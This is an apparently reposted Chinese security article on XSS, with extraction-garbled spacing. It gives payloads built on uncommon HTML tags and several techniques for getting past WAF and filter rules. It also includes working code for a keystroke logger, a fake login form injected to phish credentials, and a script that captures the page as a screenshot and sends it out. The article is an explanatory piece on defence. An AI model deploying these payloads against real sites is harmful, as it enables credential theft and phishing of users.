搜索

[13735] 2019-02-06_对XSS的一次深入分析认识

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2019-02-06_对XSS的一次深入分析认识 对   X S S   的 一 次 深 入 分 析 认 识 c l o u d s   F r e e B u f   2 0 1 9 - 0 2 - 0 6 随 着 时 间 的 推 移 ， 随 着 时 间 的 推 移 ， W e b 应 用 漏 洞 的 类 型 在 不 断 演 变 ， 但 年 复 一 年 持 续 存 在 且 影 响 广 泛 的 漏 洞 仍 然 还 属 应 用 漏 洞 的 类 型 在 不 断 演 变 ， 但 年 复 一 年 持 续 存 在 且 影 响 广 泛 的 漏 洞 仍 然 还 属 X S S 漏 漏 洞 。 长 期 以 来 ， 洞 。 长 期 以 来 ， X S S 漏 洞 算 是 非 常 常 见 的 安 全 问 题 ， 以 至 于 对 大 多 数 人 来 说 ， 即 使 一 个 新 的 漏 洞 算 是 非 常 常 见 的 安 全 问 题 ， 以 至 于 对 大 多 数 人 来 说 ， 即 使 一 个 新 的 X S S 漏 洞 被 披 露 ， 漏 洞 被 披 露 ， 但 从 内 心 来 说 ， 早 已 习 已 为 常 。 本 文 深 入 描 述 但 从 内 心 来 说 ， 早 已 习 已 为 常 。 本 文 深 入 描 述 X S S 攻 击 在 几 种 实 际 环 境 中 的 应 用 ， 同 时 顺 带 提 到 了 一 些 攻 击 在 几 种 实 际 环 境 中 的 应 用 ， 同 时 顺 带 提 到 了 一 些 X S S 攻 攻 击 的 绕 过 技 术 。 击 的 绕 过 技 术 。 几 种 加 载 几 种 加 载 X S S   P a y l o a d 的 不 常 见 标 签 的 不 常 见 标 签 和 我 们 能 想 到 的 一 样 ， 预 防 是 最 好 的 治 疗 方 法 ， 而 且 去 尝 试 和 缓 解 一 些 意 外 的 攻 击 也 不 失 为 一 种 好 的 策 略 实 践 。 通 常 情 况 下 ， 大 多 数 组 织 机 构 只 会 部 署 现 成 的 W A F 产 品 （ 网 络 应 用 防 火 墙 ） ， 而 不 是 制 订 开 发 适 合 自 身 的 缓 解 技 术 ， 根 本 不 会 意 识 到 那 些 结 合 自 身 的 防 护 技 术 才 是 最 恰 当 最 精 准 的 安 全 措 施 。 这 样 一 来 ， 攻 击 者 们 在 构 造 代 码 验 证 请 求 或 实 施 代 码 审 计 之 后 ， 有 W A F 产 品 也 没 用 ， 攻 防 双 方 就 又 形 成 了 猫 捉 老 鼠 或 是 打 地 鼠 的 游 戏 格 局 了 。 就 通 用 的 X S S   f i l t e r 来 说 ， 因 为 < s c r i p t > 是 引 入 J a v a S c r i p t 脚 本 执 行 的 原 始 方 法 ， 所 以 其 中 对 < s c r i p t >   和   < / s c r i p t >   配 对 标 签 的 使 用 是 完 全 禁 止 的 。 如 果 一 个 攻 击 者 发 现 < s c r i p t > 标 签 被 禁 止 之 后 ， 他 可 能 会 转 向 寻 求 其 它 方 法 来 执 行 J a v a S c r i p t 脚 本 ， 打 地 鼠 游 戏 就 开 始 了 。 众 所 周 知 ， 一 种 调 用 J a v a S c r i p t 的 方 法 就 是 在 元 素 类 型 上 使 用 事 件 处 理 器 （ E v e n t   H a n d l e r ） ， 通 常 的 一 种 方 法 类 似 ： < i m g   s r c = x   o n e r r o r = a l e r t ( ' x s s ' )   / > ， 这 是 一 种 使 用 无 效 s r c 属 性 来 触 发   o n e r r o r   事 件 处 理 器 ( o n e r r o r   e v e n t   h a n d l e r ) 的 方 法 ， 当 然 ， 其 中 包 含 了 一 个 a l e r t 跳 出 框 的 x s s   p a y l o a d ， 如 下 a l e r t ( 1 ) ：
由 于 过 度 使 用 i m g 标 签 和 o n e r r o r 事 件 处 理 器 ， 它 们 经 常 被 列 入 X S S 过 滤 黑 名 单 ， 但 除 此 之 外 还 有 其 它 形 式 的 X S S 攻 击 向 量 。 虽 然 所 有 可 能 的 X S S 攻 击 向 量 标 签 列 表 无 法 一 时 列 出 ， 但 其 中 几 种 非 常 有 必 要 在 此 谈 谈 。 B o d y   标 签 标 签 由 于 这 种 攻 击 方 法 向 量 ， 在 给 定 页 面 中 只 有 一 个 b o d y 标 签 ， 有 些 人 可 能 认 为 它 不 起 作 用 ， 但 实 际 上 ， 所 有 浏 览 器 都 会 把 它 当 事 件 处 理 器 （ E v e n t   H a n d l e r ） 来 执 行 。 在 这 里 ， 可 以 在 o n p a g e s h o w 事 件 中 用 提 交 b o d y 元 素 的 方 法 ， 形 成 X S S P a y l o a d ， 当 其 中 的 b o d y 元 素 被 解 析 后 就 会 触 发 P a y l o a d 。 示 例 如 下 ： S t y l e   标 签 标 签 尽 管 o n l o a d 事 件 总 会 被 识 别 为 危 险 动 作 ， 但 另 外 来 说 ， 它 也 可 以 和 s t y l e 标 签 组 合 来 用 ， 虽 然 这 种 场 景 并 不 多 见 。 示 例 如 下 ： M a r q u e e   标 签 标 签 M a r q u e e   标 签 除 了 在 w e b 开 发 中 有 标 签 内 容 回 滚 作 用 之 外 ， 它 还 支 持 一 系 列 的 事 件 处 理 程 序 ， 因 此 可 以 用 它 来 实 现 X S S   P a y l o a d 触 发 。 M a r q u e e 支 持 的 一 系 列 事 件 处 理 程 序 如 下 ： o n b o u n c e 事 件 ： 是 在 < m a r q u e e > 标 签 中 的 内 容 滚 动 到 上 下 或 左 右 边 界 时 触 发 的 事 件 处 理 程 序 ， 该 事 件 只 有 在 < m a r q u e e > 标 签 的 b e h a v i o r 属 性 设 为 a l t e r n a t e 时 才 有 效 ； o n f i n i s h 事 件 ： 当   m a r q u e e   完 成   l o o p   属 性 设 置 的 值 时 触 发 。 它 只 能 在   l o o p   属 性 设 置 为 大 于   0   的 某 个 数 字 时 触 发 ； o n s t a r t 事 件 :   当   m a r q u e e   标 签 内 容 开 始 滚 动 时 触 发 。 结 合 此 ， 加 入 X S S   P a y l o a d 的 示 例 如 下 ： < b o d y   o n p a g e s h o w = a l e r t ( 1 ) > < s t y l e   o n l o a d = a l e r t ( 1 )   / >
M e d i a   标 签 标 签 可 能 这 种 利 用 音 视 频 标 签 来 加 载 X S S   P a y l o a d 的 方 法 很 少 见 ， 实 际 来 说 ， 音 视 频 标 签 中 确 实 有 几 种 事 件 处 理 程 序 不 会 轻 易 被 列 入 黑 名 单 行 列 ， 尤 其 是 以 下 几 种 ： o n c a n p l a y :   在 用 户 可 以 开 始 播 放 音 视 频 （ a u d i o / v i d e o ） 时 触 发 ； o n d u r a t i o n c h a n g e :   在 音 视 频 （ a u d i o / v i d e o ） 的 时 长 发 生 变 化 时 触 发 ； o n e n d e d :   在 音 视 频 （ a u d i o / v i d e o ） 播 放 结 束 时 触 发 ； o n l o a d e d d a t a :   在 音 视 频 数 据 帧 加 载 时 触 发 ， 也 即 在 当 前 帧 的 数 据 加 载 完 成 且 还 没 有 足 够 的 数 据 播 放 音 视 频 （ a u d i o / v i d e o ） 的 下 一 帧 时 触 发 ； o n l o a d e d m e t a d a t a :   在 指 定 音 视 频 （ a u d i o / v i d e o ） 的 元 数 据 （ 如 分 辨 率 和 时 长 ） 加 载 后 触 发 ； o n l o a d s t a r t :   在 浏 览 器 开 始 寻 找 指 定 音 视 频 （ a u d i o / v i d e o ） 时 触 发 ； o n p r o g r e s s :   浏 览 器 下 载 指 定 的 音 视 频 （ a u d i o / v i d e o ） 时 触 发 ； o n s u s p e n d :   在 浏 览 器 读 取 音 视 频 （ a u d i o / v i d e o ） 数 据 中 止 时 触 发 。 结 合 以 上 事 件 ， 加 入 X S S   P a y l o a d 的 示 例 如 下 ： 黑 名 单 代 码 样 式 黑 名 单 代 码 样 式 正 如 很 多 杀 毒 软 件 的 模 式 匹 配 规 则 一 样 ， 只 要 某 种 行 为 动 作 和 其 内 置 的 规 则 相 匹 配 ， 则 该 动 作 就 会 被 马 上 列 入 黑 名 单 中 禁 止 执 行 。 在 有 些 场 景 下 ， 我 们 发 现 与 J a v a S c r i p t 代 码 同 义 的 各 种 动 作 都 会 被 目 标 防 护 软 件 列 入 黑 名 单 ， 甚 至 是 使 用 正 常 的 a l e r t 也 不 例 外 。 在 此 ， 有 几 种 方 法 可 以 绕 过 这 些 模 式 匹 配 规 则 。 E v a l   &   其 它 冗 余 符 号 其 它 冗 余 符 号 如 果 目 标 系 统 的 W A F 或 其 它 防 护 软 件 没 把   / ( e v a l | r e p l a c e ) ( . + ? ) / i   这 种 样 式 列 入 黑 名 单 ， 那 么 我 们 可 以 在 其 中 通 过 夹 杂 冗 余 符 号 的 方 式 形 成 P a y l o a d ， 利 用 其 中 的 e v a l 动 作 来 加 载 P a y l o a d ， 再 利 用 之 后 的 r e p l a c e 动 作 把 冗 余 符 号 进 行 替 换 删 除 。 就 比 如 ， e v a l ( ' a l e r t ( 1 ) ' )   等 同 于     a l e r t ( 1 )   ， 传 入 e v a l 的 字 符 串 行 为 会 被 解 释 执 行 ， 如 果 我 们 按 照 常 规 方 式 来 构 造 ， 肯 定 会 被 目 标 系 统 中 的 W A F 类 产 品 识 别 阻 挡 。 所 以 ， 在 此 ， 我 们 可 以 通 过 e v a l 和 r e p l a c e 事 件 的 组 合 利 用 ， 先 在 其 中 加 入 一 些 冗 余 符 号 来 进 行 混 淆 ， 再 进 行 替 换 删 除 ， 最 终 绕 过 W A F 规 则 ， 形 成 我 们 想 要 达 到 的 P a y l o a d 。 示 例 如 下 ： 围 绕 引 号 转 义 来 做 文 章 当 引 号 被 转 义 （ e s c a p e ） 之 后 ， 不 管 使 用 了 什 么 绕 过 技 术 ， 肯 定 会 引 起 问 题 ， 就 像 上 面 的 e v a l ( ' ~ a ~ l e ~ r t ~ ~ ( ~ ~ 1 ~ ~ ) ~ ' . r e p l a c e ( / ~ / g ,   ' ' ) ) 一 样 ， 如 果 要 顺 带 把 引 号 转 义 ， 其 P a y l o a d 可 能 如 下 ： < m a r q u e e   b e h a v i o r = " a l t e r n a t e "   o n s t a r t = a l e r t ( 1 ) > h a c k   t h e   p l a n e t < / m a r q u e e > < m a r q u e e   l o o p = " 1 "   o n f i n i s h = a l e r t ( 1 ) > h a c k   t h e   p l a n e t < / m a r q u e e > < m a r q u e e   o n s t a r t = a l e r t ( 1 ) > h a c k   t h e   p l a n e t < / m a r q u e e > < a u d i o   o n c a n p l a y = a l e r t ( 1 )     / > e v a l ( ' ~ a ~ l e ~ r t ~ ~ ( ~ ~ 1 ~ ~ ) ~ ' . r e p l a c e ( / ~ / g ,   ' ' ) )
但 另 一 种 变 换 方 法 就 是 利 用 正 则 表 达 式 来 避 免 带 入 引 号 的 使 用 ， 如 可 以 在 上 述 P a y l o a d 中 引 入 正 斜 杠 方 式 ， 然 后 再 用 创 建 的 正 则 表 达 式 对 象 属 性 来 访 问 其 中 的 闭 合 字 符 串 。 示 例 如 下 ： 以 此 用 n e w   S t r i n g ( ) 来 实 现 把 ~ 转 换 为 空 字 符 串 的 目 的 ， 从 而 不 需 要 用 到 引 号 。 对 引 号 实 行 转 义 并 绕 过 W A F 类 产 品 模 式 匹 配 规 则 的 一 个 有 效 手 段 是 使 用 e v a l 的 S t r i n g . f r o m C h a r C o d e 方 法 ， 该 方 法 将 获 取 一 个 或 多 个 十 进 制 U n i c o d e 值 ， 然 后 将 它 们 转 换 成 等 效 的 A S C I I 字 符 ， 并 将 它 们 连 成 一 个 字 符 串 ， 如 ： 通 过 这 种 对 U n i c o d e 值 的 转 换 ， 可 以 把 目 标 值 传 递 给 e v a l ， 因 此 ， 可 以 构 造 P a y l o a d 如 下 ： 其 它 使 用 其 它 使 用 E v a l 的 方 法 的 方 法 上 面 的 例 子 有 些 是 围 绕 e v a l 的 使 用 而 不 是 过 滤 来 谈 的 ， 由 于 e v a l 是 一 种 大 家 熟 知 的 危 险 方 法 ， 所 以 经 常 会 看 到 / e v a l ( . + ? ) / i 这 样 的 过 滤 方 式 。 相 应 的 ， 我 们 也 可 以 采 取 其 它 方 法 来 规 避 过 滤 。 由 于 函 数 可 以 存 储 在 J a v a S c r i p t 的 变 量 中 ， 所 以 为 了 不 直 接 调 用 e v a l ， 我 们 可 以 把 它 分 配 给 一 个 变 量 ， 然 后 间 接 调 用 它 ， 示 例 如 下 ： v a r   x   =   e v a l ;   x ( ' a l e r t ( 1 ) ' ) 另 外 一 种 间 接 调 用 e v a l 的 方 法 是 用 括 号 进 行 构 造 ， 即 用 括 号 间 接 调 用 法 ， 如 表 达 式 ( 1 , 2 , 3 , 4 ) 返 回 的 是 4 ， 即 括 号 中 最 后 一 个 ， 所 以 ( 1 , e v a l ) 返 回 的 是 函 数 e v a l ， 具 体 示 例 如 下 ： 因 此 可 以 构 造 以 下 P a y l o a d 来 执 行 ： 基 于 此 ， 也 可 以 使 用 c a l l 方 法 来 直 接 调 用 ， 如 下 ： 其 次 ， 可 以 定 义 一 个 新 函 数 的 方 法 来 规 避 直 接 对 e v a l 的 调 用 ， 当 然 这 种 方 法 还 会 涉 及 到 一 些 语 法 定 义 ， 如 下 ： 最 后 ， 还 可 以 用 创 建 F u n c t i o n 对 象 的 方 式 来 实 现 a l e r t 调 用 ， 该 对 象 接 受 构 造 函 数 中 的 字 符 串 作 为 函 数 实 现 ， 如 下 ： 利 用 错 误 输 入 过 滤 机 制 实 现 绕 过 利 用 错 误 输 入 过 滤 机 制 实 现 绕 过 如 果 用 户 输 入 内 容 看 似 危 险 ， 那 么 就 需 要 对 其 输 入 和 响 应 进 行 一 些 过 滤 ， 最 好 的 方 法 就 是 只 显 示 出 一 些 通 用 性 错 误 或 是 直 接 拒 绝 用 户 的 整 个 请 求 。 不 管 怎 么 说 ， 这 种 定 制 化 的 缓 解 防 护 策 略 也 很 常 见 ， 但 就 像 上 述 我 们 提 到 的 各 种 绕 过 技 术 一 样 ， 如 果 我 们 充 分 了 解 了 目 标 系 统 的 输 入 过 滤 机 制 ， 那 么 ， 也 可 以 利 用 这 种 过 滤 机 制 ， 以 其 人 之 道 还 治 其 人 之 身 ， 最 终 构 造 出 我 们 的 有 效 P a y l o a d 。 e v a l ( ' ~ a ~ l e ~ r t ~ ~ ( ~ ~ 1 ~ ~ ) ~ ' . r e p l a c e ( / ~ / g ,   ' ' ) ) e v a l ( / ~ a ~ l e ~ r t ~ ~ ( ~ ~ 1 ~ ~ ) ~ / . s o u r c e . r e p l a c e ( / ~ / g ,   n e w   S t r i n g ( ) ) ) c o n s o l e . l o g ( S t r i n g . f r o m C h a r C o d e ( 6 5 , 6 6 , 6 7 , 6 8 ) )     / / 在 终 端 返 回 显 示 的 是 字 符 串   " A B C D " e v a l ( S t r i n g . f r o m C h a r C o d e ( 9 7 , 1 0 8 , 1 0 1 , 1 1 4 , 1 1 6 , 4 0 , 4 9 , 4 1 ) )     / / / /   最 终 执 行 的 会 是   a l e r t ( 1 ) ( e v a l )         / /   返 回 函 数 e v a l         ( 1 ,   e v a l )   / /   仍 然 返 回 函 数 e v a l ( 1 ,   e v a l ) ( ' a l e r t ( 1 ) ' )     / /   返 回   a l e r t ( 1 ) e v a l . c a l l ( n u l l ,   ' a l e r t ( 1 ) ' )     / / 返 回   a l e r t ( 1 ) f u n c t i o n   h a c k T h e P l a n e t   ( )   {     a l e r t ( 1 ) } n e w   F u n c t i o n ( ' a l e r t ( 1 ) ' ) ( )
利 用 不 安 全 样 式 删 除 机 制 利 用 不 安 全 样 式 删 除 机 制 删 除 不 安 全 危 险 数 据 的 最 常 见 方 法 之 一 可 能 就 是 把 它 直 接 删 除 ， 一 些 过 滤 器 只 会 简 单 地 认 为 ， 危 险 数 据 删 除 了 就 安 全 了 。 这 种 删 除 机 制 除 非 是 递 归 方 法 执 行 ， 否 则 ， 它 也 会 自 己 把 自 己 玩 死 。 就 像 如 果 < s c r i p t > 和 < / s c r i p t > 标 签 对 会 被 过 滤 器 转 换 为 空 字 符 串 ， 那 么 ， 把 它 们 组 合 构 造 夹 杂 放 入 一 条 j a v a s c r i p t 中 ， 最 终 只 有 < s c r i p t > 和   < / s c r i p t > 标 签 对 被 删 除 了 ， 其 它 剩 下 的 就 又 形 成 了 新 的 组 合 方 式 ， 示 例 如 下 ： 上 述 j a v a s c r i p t 中 ， 如 果 过 滤 器 只 是 简 单 地 把 标 签 对 删 除 了 ， 那 么 最 终 会 剩 下 ： 完 美 ， 这 就 是 我 们 想 要 的 。 同 样 的 方 法 可 以 应 用 到 一 些 标 签 属 性 或 事 件 处 理 程 序 中 ， 就 像 如 果 o n e r r o r 是 删 除 目 标 ， 那 么 ， 我 们 可 以 构 造 以 下 P a y l o a d ： 最 终 删 除 后 剩 下 的 结 果 为 ： 替 换 不 安 全 样 式 替 换 不 安 全 样 式 当 一 些 不 安 全 的 样 式 被 替 换 而 不 是 被 删 除 之 后 ， 目 标 系 统 过 滤 器 要 识 别 它 们 ， 可 能 就 有 一 些 麻 烦 了 。 根 据 不 同 的 过 滤 器 规 则 ， 可 以 使 用 替 换 方 式 来 构 造 我 们 最 终 想 要 的 P a y l o a d 。 就 比 如 ， 如 果 目 标 系 统 的 过 滤 器 会 把 < s c r i p t > < / s c r i p t > 标 签 对 都 过 滤 替 换 为 N A U G H T Y _ H A C K E R 字 段 ， 那 么 ， 我 们 提 交 < s c r i p t > a l e r t ( 1 ) < / s c r i p t >   之 后 的 结 果 就 会 是 N A U G H T Y _ H A C K E R a l e r t ( 1 ) N A U G H T Y _ H A C K E R 。 但 如 果 我 们 把 < s c r i p t > 标 签 对 的 声 明 改 为 < s c r i p t   s c r i p t > >   和   < / s c r i p t   / s c r i p t > > 这 种 嵌 套 式 样 式 后 ， 那 么 参 照 替 换 为 N A U G H T Y _ H A C K E R 字 段 的 规 则 ， 对 于 < s c r i p t > a l e r t ( 1 ) < / s c r i p t > 来 说 ， 目 标 过 滤 器 会 把 它 过 滤 为 ： 在 开 始 标 签 s c r i p t   N A U G H T Y _ H A C K E R > 中 ， 浏 览 器 会 把 N A U G H T Y _ H A C K E R 默 认 解 析 为 一 个 不 带 值 的 属 性 ， 就 像 i n p u t 中 的 a u t o f o c u s 属 性 一 样 。 在 闭 合 标 签 < / s c r i p t   N A U G H T Y _ H A C K E R > 中 ， 虽 然 技 术 上 属 于 无 效 ， 但 最 终 却 能 正 确 解 析 。 因 为 浏 览 器 在 某 种 程 度 上 为 了 减 少 错 误 ， 虽 然 能 识 别 到 这 个 附 加 属 性 ， 但 会 简 单 地 把 它 忽 视 掉 。 最 终 在 浏 览 器 的 检 查 器 效 果 如 下 ：   < s c < s c r i p t > r i p t > a l e r t ( 1 ) < / s c < / s c r i p t > r i p t > < s c r i p t > a l e r t ( 1 ) < / s c r i p t > < i m g   s r c = x   o n o n e r r o r e r r o r = a l e r t ( 1 )   / > < i m g   s r c = x   o n e r r o r = a l e r t ( 1 )   / > < s c r i p t   N A U G H T Y _ H A C K E R > a l e r t ( 1 ) < / s c r i p t   N A U G H T Y _ H A C K E R >
X S S 的 影 响 绝 不 仅 仅 是 跳 出 弹 框 ！ 的 影 响 绝 不 仅 仅 是 跳 出 弹 框 ！ 一 些 X S S 披 露 漏 洞 中 简 单 的 跳 出 弹 框 P o C 证 明 ， 可 能 是 导 致 X S S 漏 洞 危 害 被 认 知 不 足 的 一 个 原 因 吧 ， 尽 管 X S S 调 用 a l e r t 形 式 的 弹 框 能 证 明 漏 洞 的 存 在 ， 但 却 不 能 很 好 地 证 明 X S S 漏 洞 的 实 际 威 力 和 影 响 。 所 以 ， X S S 漏 洞 导 致 的 J a v a S c r i p t 执 行 到 底 会 有 多 严 重 ， 让 我 们 产 生 无 限 遐 想 。 在 此 就 分 享 两 个 案 例 。 无 需 会 话 无 需 会 话 C o o k i e 劫 持 实 现 账 户 获 取 劫 持 实 现 账 户 获 取 会 话 C o o k i e 劫 持 可 能 是 X S S 攻 击 中 对 目 标 系 统 或 用 户 的 最 大 潜 在 威 胁 ， 因 为 这 通 常 会 导 致 目 标 用 户 的 会 话 被 攻 击 者 完 全 操 纵 利 用 。 越 来 越 多 的 人 熟 知 会 话 劫 持 的 风 险 ， 因 此 ， 后 期 在 会 话 信 息 中 加 入 了 H t t p O n l y 标 志 ， 来 避 免 J a v a S c r i p t 读 取 C o o k i e ， 这 应 该 算 是 一 个 大 的 改 进 了 ， 但 实 际 来 说 ， 劫 持 账 户 也 并 不 只 有 C o o k i e 劫 持 一 种 方 法 。 有 很 多 事 件 程 序 可 以 和 J a v a S c r i p t 关 联 起 来 ， 其 中 一 个 就 是   k e y p r e s s   按 键 事 件 （ 你 能 看 到 该 事 件 背 后 会 发 生 什 么 吗 ？ ) 。 通 过 在 k e y p r e s s 事 件 的 d o c u m e n t 调 用 方 法 中 添 加 回 调 函 数 C a l l b a c k ， 在 用 户 点 击 、 按 下 或 选 中 触 发 回 调 ， 以 此 来 截 取 用 户 的 按 键 信 息 。 通 过 这 种 操 作 ， 攻 击 者 可 以 有 效 地 将 键 盘 记 录 器 植 入 用 户 浏 览 器 中 ， 实 现 按 键 监 听 ， 窃 取 用 户 密 码 凭 据 相 关 的 按 键 信 息 。 如 下 视 频 ： 上 图 中 ， k e y p r e s s 按 键 事 件 通 过 包 含 以 下 内 容 的 J a v a S c r i p t 文 件 ， 捕 获 按 键 事 件 信 息 并 发 送 到 攻 击 者 的 本 地 w e b 服 务 器 中 。 D O M   形 式 的 操 纵 利 用 形 式 的 操 纵 利 用 虽 然 上 述 X S S 构 造 的 键 盘 记 录 器 能 正 常 起 效 ， 但 如 果 不 被 目 标 用 户 信 任 ， 迷 惑 不 了 目 标 用 户 执 行 输 入 ， 那 么 ， 这 种 攻 击 最 后 也 会 无 效 。 我 们 可 以 对 上 述 键 盘 记 录 器 P o C 稍 作 修 改 ， 可 以 修 改 执 行 时 的 D O M ， 用 包 含 登 录 页 面 的 b o d y 内 容 进 行 替 换 。 这 样 一 来 ， 可 以 把 任 意 标 记 内 容 都 分 配 给 d o c u m e n t . b o d y . i n n e r H T M L 作 为 属 性 ， 如 下 ： 这 样 ， 页 面 的 b o d y 内 容 将 会 形 成 一 个 迷 惑 性 的 登 录 框 ， 诱 使 用 户 输 入 密 码 凭 据 等 敏 感 信 息 。 如 下 ： d o c u m e n t . a d d E v e n t L i s t e n e r ( ' k e y p r e s s ' ,   f u n c t i o n   ( e v e n t )   {     v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( )     x h r . o p e n ( ' P O S T ' ,   ' / k e y l o g g e r ' )     x h r . s e t R e q u e s t H e a d e r ( ' C o n t e n t - T y p e ' ,   ' a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ' )     x h r . s e n d ( ' d a t a = '   +   e v e n t . k e y ) } ) v a r   d u m m y F o r m H t m l   =   ' W e ' v e   h a d   r e p o r t s   o f   b a d   g u y s   t r y i n g   t o   d o   w r o n g   b y   '   +                                         ' o u r   u s e r s   l a t e l y   -   h e l p   u s ,   h e l p   y o u ,   b y   l o g g i n g   i n   '   +                                         ' a g a i n   t o   c o n f i r m   y o u r   i d e n t i t y < b r > < i n p u t   t y p e = " t e x t "   / > '   +                                         ' < b r > < i n p u t   t y p e = " p a s s w o r d "   / > < b r > < i n p u t   t y p e = " s u b m i t "   v a l u e = " L o g i n "   / > ' d o c u m e n t . b o d y . i n n e r H T M L   =   d u m m y F o r m H t m l d o c u m e n t . a d d E v e n t L i s t e n e r ( ' k e y p r e s s ' ,   f u n c t i o n   ( e v e n t )   {     v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( )     x h r . o p e n ( ' P O S T ' ,   ' / k e y l o g g e r ' )     x h r . s e t R e q u e s t H e a d e r ( ' C o n t e n t - T y p e ' ,   ' a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ' )     x h r . s e n d ( ' d a t a = '   +   e v e n t . k e y ) } )
虽 然 这 只 是 个 简 单 的 示 例 ， 但 是 基 于 此 ， 攻 击 者 可 以 创 建 和 网 站 登 录 页 面 一 模 一 样 的 钓 鱼 页 面 ， 以 假 乱 真 ， 形 成 有 效 攻 击 。 毕 竟 ， 大 部 份 受 害 者 只 要 看 到 正 确 的 域 名 ， 就 不 会 对 登 录 页 面 产 生 太 多 质 疑 。 D O M   形 式 的 这 种 操 纵 利 用 远 不 止 于 此 ， 另 外 ， 它 还 可 以 用 来 构 造 复 杂 的 社 工 攻 击 。 比 如 ， 可 以 被 构 造 用 来 向 用 户 发 送 提 示 通 知 ， 告 诉 用 户 需 要 通 过 某 个 号 码 去 联 系 客 户 支 持 部 门 ， 如 果 这 种 提 示 显 示 在 和 用 户 访 问 的 目 标 网 站 相 同 的 域 名 上 ， 那 么 其 可 信 度 就 相 当 高 了 ， 只 要 用 户 拨 通 所 谓 的 客 户 部 门 电 话 ， 个 人 敏 感 信 息 就 会 被 攻 击 者 轻 易 获 得 。 一 图 胜 千 言 一 图 胜 千 言   -   利 用 利 用 X S S 窃 取 用 户 浏 览 器 视 图 截 图 窃 取 用 户 浏 览 器 视 图 截 图 如 今 ， 随 着 现 代 浏 览 器 功 能 特 性 的 不 断 发 展 更 新 ， X S S   P a y l o a d 的 构 造 方 式 也 不 断 升 级 ， 利 用 新 的 浏 览 器 功 能 特 性 ， 攻 击 者 甚 至 可 以 窃 取 到 用 户 当 前 浏 览 器 视 图 的 截 图 信 息 。 h t m l 2 c a n v a s   能 够 实 现 在 用 户 浏 览 器 端 直 接 对 整 个 或 部 分 页 面 进 行 截 屏 ， 利 用 这 一 功 能 ， 攻 击 者 用 6 行 J a v a S c r i p t 代 码 就 能 窃 取 受 害 者 浏 览 器 视 图 截 图 ， 并 回 传 到 控 制 服 务 器 。 代 码 示 例 如 下 ： 结 合 上 述 代 码 ， 构 造 以 下 P a y l o a d 提 交 到 测 试 的 目 标 用 户 应 用 中 ， 之 后 ， 就 会 生 成 一 张 包 含 目 标 用 户 使 用 信 息 的 截 图 图 片 ， 而 且 该 图 片 会 被 回 传 至 攻 击 者 控 制 服 务 器 中 。 上 述 代 码 中 的 十 进 制 数 编 码 对 应 的 就 是 以 下 函 数 方 法 ： s e t T i m e o u t ( ) 方 法 用 于 在 指 定 的 毫 秒 数 后 调 用 函 数 ， 这 里 调 用 了 s e t T i m e o u t 原 因 是 为 了 确 保 图 像 显 示 在 屏 幕 上 以 供 验 证 说 明 。 虽 然 上 述 P a y l o a d 是 将 截 图 发 送 到 和 目 标 W e b 应 用 相 同 的 服 务 器 中 ， 但 在 实 际 环 境 中 ， 完 全 可 以 把 截 图 发 送 到 攻 击 者 控 h t m l 2 c a n v a s ( d o c u m e n t . q u e r y S e l e c t o r ( " b o d y " ) ) . t h e n ( c a n v a s   = >   {     v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( )     x h r . o p e n ( ' P O S T ' ,   ' / s c r e e n s h o t ' )     x h r . s e t R e q u e s t H e a d e r ( ' C o n t e n t - T y p e ' ,   ' a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ' )     x h r . s e n d ( ' d a t a = '   +   e n c o d e U R I C o m p o n e n t ( c a n v a s . t o D a t a U R L ( ) ) ) } ) ; < i m g     o n l o a d = e v a l ( S t r i n g . f r o m C h a r C o d e ( 1 1 5 , 1 0 1 , 1 1 6 , 8 4 , 1 0 5 , 1 0 9 , 1 0 1 , 1 1 1 , 1 1 7 , 1 1 6 , 4 0 , 1 0 2 , 1 1 7 , 1 1 0 , 9 9 , 1 1 6 , 1 0 5 , 1 1 1 , 1 1 0 , 4 0 , 4 1 , 1 2 3 , 1 1 8 , 9 7 , 1 1 4 , 3 2 , 1 0 0 , 6 1 , 1 0 0 , 1 1 1 , 9 9 , 1 1 7 , 1 0 9 , 1 0 1 , 1 1 0 , 1 1 6 , 5 9 , 1 1 8 , 9 7 , 1 1 4 , 3 2 , 9 7 , 6 1 , 1 0 0 , 4 6 , 9 9 , 1 1 4 , 1 0 1 , 9 7 , 1 1 6 , 1 0 1 , 6 9 , 1 0 8 , 1 0 1 , 1 0 9 , 1 0 1 , 1 1 0 , 1 1 6 , 4 0 , 3 9 , 1 1 5 , 9 9 , 1 1 4 , 1 0 5 , 1 1 2 , 1 1 6 , 3 9 , 4 1 , 5 9 , 9 7 , 4 6 , 1 1 5 , 1 0 1 , 1 1 6 , 6 5 , 1 1 6 , 1 1 6 , 1 1 4 , 1 0 5 , 9 8 , 1 1 7 , 1 1 6 , 1 0 1 , 4 0 , 3 9 , 1 1 5 , 1 1 4 , 9 9 , 3 9 , 4 4 , 3 9 , 4 7 , 1 1 5 , 9 9 , 1 1 4 , 1 0 5 , 1 1 2 , 1 1 6 , 1 1 5 , 4 7 , 1 1 5 , 9 9 , 1 1 4 , 1 0 1 , 1 0 1 , 1 1 0 , 1 1 5 , 1 0 4 , 1 1 1 , 1 1 6 , 4 6 , 1 0 6 , 1 1 5 , 3 9 , 4 1 , 5 9 , 1 0 0 , 4 6 , 1 0 4 , 1 0 1 , 9 7 , 1 0 0 , 4 6 , 9 7 , 1 1 2 , 1 1 2 , 1 0 1 , 1 1 0 , 1 0 0 , 6 7 , 1 0 4 , 1 0 5 , 1 0 8 , 1 0 0 , 4 0 , 9 7 , 4 1 , 5 9 , 1 2 5 , 4 4 , 4 9 , 4 8 , 4 8 , 4 8 , 4 1 ) )   / > s e t T i m e o u t ( f u n c t i o n ( )   {     v a r   d   =   d o c u m e n t ;     v a r   a   =   d . c r e a t e E l e m e n t ( ' s c r i p t ' ) ;     a . s e t A t t r i b u t e ( ' s r c ' , ' / s c r i p t s / s c r e e n s h o t . j s ' ) ;     d . h e a d . a p p e n d C h i l d ( a ) ; } ,   1 0 0 0 )
